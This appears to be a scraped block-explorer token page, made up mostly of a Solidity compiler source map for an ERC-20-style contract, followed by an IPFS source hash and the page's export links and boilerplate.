8742:4;8679:68;;;;;;;;;;;;;;;;;;;;;;;;;8675:99;;;8768:1;8758:6;:11;8749:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;8675:99;8789:38;8810:4;8816:2;8820:6;8789:20;:38::i;:::-;8844:19;8866:9;:15;8876:4;8866:15;;;;;;;;;;;;;;;;8844:37;;8919:6;8904:11;:21;;8896:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9044:6;9030:11;:20;9012:9;:15;9022:4;9012:15;;;;;;;;;;;;;;;:38;;;;9097:6;9080:9;:13;9090:2;9080:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;9140:2;9125:26;;9134:4;9125:26;;;9144:6;9125:26;;;;;;:::i;:::-;;;;;;;;8660:507;8637:530;8559:663;;;9211:4;9194:21;;:13;;;;;;;;;;;:21;;;9185:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;8559:663;9232:37;9252:4;9258:2;9262:6;9232:19;:37::i;:::-;8282:995;;;:::o;10296:434::-;10399:1;10380:21;;:7;:21;;;10372:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10456:22;10481:9;:18;10491:7;10481:18;;;;;;;;;;;;;;;;10456:43;;10536:6;10518:14;:24;;10510:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10630:6;10619:8;;:17;;;;:::i;:::-;10598:9;:18;10608:7;10598:18;;;;;;;;;;;;;;;:38;;;;10663:6;10647:12;;:22;;;;;;;:::i;:::-;;;;;;;;10711:1;10685:37;;10694:7;10685:37;;;10715:6;10685:37;;;;;;:::i;:::-;;;;;;;;10361:369;10296:434;;:::o;1077:81:0:-;1117:7;1144:6;;;;;;;;;;;1137:13;;1077:81;:::o;12888:125:1:-;;;;:::o;13617:124::-;;;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:117::-;4867:1;4864;4857:12;4881:117;4990:1;4987;4980:12;5004:117;5113:1;5110;5103:12;5144:568;5217:8;5227:6;5277:3;5270:4;5262:6;5258:17;5254:27;5244:122;;5285:79;;:::i;:::-;5244:122;5398:6;5385:20;5375:30;;5428:18;5420:6;5417:30;5414:117;;;5450:79;;:::i;:::-;5414:117;5564:4;5556:6;5552:17;5540:29;;5618:3;5610:4;5602:6;5598:17;5588:8;5584:32;5581:41;5578:128;;;5625:79;;:::i;:::-;5578:128;5144:568;;;;;:::o;5718:116::-;5788:21;5803:5;5788:21;:::i;:::-;5781:5;5778:32;5768:60;;5824:1;5821;5814:12;5768:60;5718:116;:::o;5840:133::-;5883:5;5921:6;5908:20;5899:29;;5937:30;5961:5;5937:30;:::i;:::-;5840:133;;;;:::o;5979:698::-;6071:6;6079;6087;6136:2;6124:9;6115:7;6111:23;6107:32;6104:119;;;6142:79;;:::i;:::-;6104:119;6290:1;6279:9;6275:17;6262:31;6320:18;6312:6;6309:30;6306:117;;;6342:79;;:::i;:::-;6306:117;6455:80;6527:7;6518:6;6507:9;6503:22;6455:80;:::i;:::-;6437:98;;;;6233:312;6584:2;6610:50;6652:7;6643:6;6632:9;6628:22;6610:50;:::i;:::-;6600:60;;6555:115;5979:698;;;;;:::o;6683:86::-;6718:7;6758:4;6751:5;6747:16;6736:27;;6683:86;;;:::o;6775:112::-;6858:22;6874:5;6858:22;:::i;:::-;6853:3;6846:35;6775:112;;:::o;6893:214::-;6982:4;7020:2;7009:9;7005:18;6997:26;;7033:67;7097:1;7086:9;7082:17;7073:6;7033:67;:::i;:::-;6893:214;;;;:::o;7113:474::-;7181:6;7189;7238:2;7226:9;7217:7;7213:23;7209:32;7206:119;;;7244:79;;:::i;:::-;7206:119;7364:1;7389:53;7434:7;7425:6;7414:9;7410:22;7389:53;:::i;:::-;7379:63;;7335:117;7491:2;7517:53;7562:7;7553:6;7542:9;7538:22;7517:53;:::i;:::-;7507:63;;7462:118;7113:474;;;;;:::o;7593:180::-;7641:77;7638:1;7631:88;7738:4;7735:1;7728:15;7762:4;7759:1;7752:15;7779:320;7823:6;7860:1;7854:4;7850:12;7840:22;;7907:1;7901:4;7897:12;7928:18;7918:81;;7984:4;7976:6;7972:17;7962:27;;7918:81;8046:2;8038:6;8035:14;8015:18;8012:38;8009:84;;8065:18;;:::i;:::-;8009:84;7830:269;7779:320;;;:::o;8105:182::-;8245:34;8241:1;8233:6;8229:14;8222:58;8105:182;:::o;8293:366::-;8435:3;8456:67;8520:2;8515:3;8456:67;:::i;:::-;8449:74;;8532:93;8621:3;8532:93;:::i;:::-;8650:2;8645:3;8641:12;8634:19;;8293:366;;;:::o;8665:419::-;8831:4;8869:2;8858:9;8854:18;8846:26;;8918:9;8912:4;8908:20;8904:1;8893:9;8889:17;8882:47;8946:131;9072:4;8946:131;:::i;:::-;8938:139;;8665:419;;;:::o;9090:180::-;9138:77;9135:1;9128:88;9235:4;9232:1;9225:15;9259:4;9256:1;9249:15;9276:180;9324:77;9321:1;9314:88;9421:4;9418:1;9411:15;9445:4;9442:1;9435:15;9462:233;9501:3;9524:24;9542:5;9524:24;:::i;:::-;9515:33;;9570:66;9563:5;9560:77;9557:103;;9640:18;;:::i;:::-;9557:103;9687:1;9680:5;9676:13;9669:20;;9462:233;;;:::o;9701:191::-;9741:3;9760:20;9778:1;9760:20;:::i;:::-;9755:25;;9794:20;9812:1;9794:20;:::i;:::-;9789:25;;9837:1;9834;9830:9;9823:16;;9858:3;9855:1;9852:10;9849:36;;;9865:18;;:::i;:::-;9849:36;9701:191;;;;:::o;9898:224::-;10038:34;10034:1;10026:6;10022:14;10015:58;10107:7;10102:2;10094:6;10090:15;10083:32;9898:224;:::o;10128:366::-;10270:3;10291:67;10355:2;10350:3;10291:67;:::i;:::-;10284:74;;10367:93;10456:3;10367:93;:::i;:::-;10485:2;10480:3;10476:12;10469:19;;10128:366;;;:::o;10500:419::-;10666:4;10704:2;10693:9;10689:18;10681:26;;10753:9;10747:4;10743:20;10739:1;10728:9;10724:17;10717:47;10781:131;10907:4;10781:131;:::i;:::-;10773:139;;10500:419;;;:::o;10925:223::-;11065:34;11061:1;11053:6;11049:14;11042:58;11134:6;11129:2;11121:6;11117:15;11110:31;10925:223;:::o;11154:366::-;11296:3;11317:67;11381:2;11376:3;11317:67;:::i;:::-;11310:74;;11393:93;11482:3;11393:93;:::i;:::-;11511:2;11506:3;11502:12;11495:19;;11154:366;;;:::o;11526:419::-;11692:4;11730:2;11719:9;11715:18;11707:26;;11779:9;11773:4;11769:20;11765:1;11754:9;11750:17;11743:47;11807:131;11933:4;11807:131;:::i;:::-;11799:139;;11526:419;;;:::o;11951:221::-;12091:34;12087:1;12079:6;12075:14;12068:58;12160:4;12155:2;12147:6;12143:15;12136:29;11951:221;:::o;12178:366::-;12320:3;12341:67;12405:2;12400:3;12341:67;:::i;:::-;12334:74;;12417:93;12506:3;12417:93;:::i;:::-;12535:2;12530:3;12526:12;12519:19;;12178:366;;;:::o;12550:419::-;12716:4;12754:2;12743:9;12739:18;12731:26;;12803:9;12797:4;12793:20;12789:1;12778:9;12774:17;12767:47;12831:131;12957:4;12831:131;:::i;:::-;12823:139;;12550:419;;;:::o;12975:179::-;13115:31;13111:1;13103:6;13099:14;13092:55;12975:179;:::o;13160:366::-;13302:3;13323:67;13387:2;13382:3;13323:67;:::i;:::-;13316:74;;13399:93;13488:3;13399:93;:::i;:::-;13517:2;13512:3;13508:12;13501:19;;13160:366;;;:::o;13532:419::-;13698:4;13736:2;13725:9;13721:18;13713:26;;13785:9;13779:4;13775:20;13771:1;13760:9;13756:17;13749:47;13813:131;13939:4;13813:131;:::i;:::-;13805:139;;13532:419;;;:::o;13957:224::-;14097:34;14093:1;14085:6;14081:14;14074:58;14166:7;14161:2;14153:6;14149:15;14142:32;13957:224;:::o;14187:366::-;14329:3;14350:67;14414:2;14409:3;14350:67;:::i;:::-;14343:74;;14426:93;14515:3;14426:93;:::i;:::-;14544:2;14539:3;14535:12;14528:19;;14187:366;;;:::o;14559:419::-;14725:4;14763:2;14752:9;14748:18;14740:26;;14812:9;14806:4;14802:20;14798:1;14787:9;14783:17;14776:47;14840:131;14966:4;14840:131;:::i;:::-;14832:139;;14559:419;;;:::o;14984:222::-;15124:34;15120:1;15112:6;15108:14;15101:58;15193:5;15188:2;15180:6;15176:15;15169:30;14984:222;:::o;15212:366::-;15354:3;15375:67;15439:2;15434:3;15375:67;:::i;:::-;15368:74;;15451:93;15540:3;15451:93;:::i;:::-;15569:2;15564:3;15560:12;15553:19;;15212:366;;;:::o;15584:419::-;15750:4;15788:2;15777:9;15773:18;15765:26;;15837:9;15831:4;15827:20;15823:1;15812:9;15808:17;15801:47;15865:131;15991:4;15865:131;:::i;:::-;15857:139;;15584:419;;;:::o;16009:114::-;;:::o;16129:364::-;16271:3;16292:66;16356:1;16351:3;16292:66;:::i;:::-;16285:73;;16367:93;16456:3;16367:93;:::i;:::-;16485:1;16480:3;16476:11;16469:18;;16129:364;;;:::o;16499:419::-;16665:4;16703:2;16692:9;16688:18;16680:26;;16752:9;16746:4;16742:20;16738:1;16727:9;16723:17;16716:47;16780:131;16906:4;16780:131;:::i;:::-;16772:139;;16499:419;;;:::o;16924:225::-;17064:34;17060:1;17052:6;17048:14;17041:58;17133:8;17128:2;17120:6;17116:15;17109:33;16924:225;:::o;17155:366::-;17297:3;17318:67;17382:2;17377:3;17318:67;:::i;:::-;17311:74;;17394:93;17483:3;17394:93;:::i;:::-;17512:2;17507:3;17503:12;17496:19;;17155:366;;;:::o;17527:419::-;17693:4;17731:2;17720:9;17716:18;17708:26;;17780:9;17774:4;17770:20;17766:1;17755:9;17751:17;17744:47;17808:131;17934:4;17808:131;:::i;:::-;17800:139;;17527:419;;;:::o;17952:220::-;18092:34;18088:1;18080:6;18076:14;18069:58;18161:3;18156:2;18148:6;18144:15;18137:28;17952:220;:::o;18178:366::-;18320:3;18341:67;18405:2;18400:3;18341:67;:::i;:::-;18334:74;;18417:93;18506:3;18417:93;:::i;:::-;18535:2;18530:3;18526:12;18519:19;;18178:366;;;:::o;18550:419::-;18716:4;18754:2;18743:9;18739:18;18731:26;;18803:9;18797:4;18793:20;18789:1;18778:9;18774:17;18767:47;18831:131;18957:4;18831:131;:::i;:::-;18823:139;;18550:419;;;:::o;18975:221::-;19115:34;19111:1;19103:6;19099:14;19092:58;19184:4;19179:2;19171:6;19167:15;19160:29;18975:221;:::o;19202:366::-;19344:3;19365:67;19429:2;19424:3;19365:67;:::i;:::-;19358:74;;19441:93;19530:3;19441:93;:::i;:::-;19559:2;19554:3;19550:12;19543:19;;19202:366;;;:::o;19574:419::-;19740:4;19778:2;19767:9;19763:18;19755:26;;19827:9;19821:4;19817:20;19813:1;19802:9;19798:17;19791:47;19855:131;19981:4;19855:131;:::i;:::-;19847:139;;19574:419;;;:::o;19999:194::-;20039:4;20059:20;20077:1;20059:20;:::i;:::-;20054:25;;20093:20;20111:1;20093:20;:::i;:::-;20088:25;;20137:1;20134;20130:9;20122:17;;20161:1;20155:4;20152:11;20149:37;;;20166:18;;:::i;:::-;20149:37;19999:194;;;;:::o

Swarm Source

ipfs://23246241b5d1b72ed7ab55ca3dc0c6fc1e832e2d743a639256e66ab006b6c9b1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.